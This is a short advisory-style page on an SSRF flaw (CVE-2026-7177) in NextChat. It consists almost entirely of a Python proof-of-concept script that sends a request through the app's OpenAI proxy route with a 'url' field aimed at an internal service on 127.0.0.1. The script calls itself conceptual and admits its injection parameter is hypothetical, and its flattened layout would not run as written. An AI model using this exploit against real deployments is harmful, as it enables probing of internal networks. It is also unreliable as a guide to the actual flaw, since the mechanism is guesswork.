CVE-2026-7177 ChatGPTNextWeb NextChat SSRF漏洞

import requests # Target URL (Replace with actual vulnerable host) target_url = "http://localhost:3000/api/openai/v1/engines" # Malicious internal address to scan (e.g., local DNS or admin panel) # The application acts as a proxy, so we inject the target in the path or header # depending on how the route.ts handles the [...path] parameter. # Assuming the proxy forwards the request blindly. # Example payload trying to access internal metadata or another internal port internal_target = "http://127.0.0.1:8080/api/status" # Constructing the malicious request # Note: The actual exploitation depends on the exact implementation of proxyHandler. # This is a conceptual PoC demonstrating the SSRF behavior. headers = { "Content-Type": "application/json" } # In a real scenario, the payload might be passed in the query parameter or body # that the proxyHandler uses to construct the upstream URL. data = { "url": internal_target # Hypothetical parameter controlling the destination } try: response = requests.post(target_url, json=data, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] SSRF Successful! Response received:") print(response.text[:200]) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")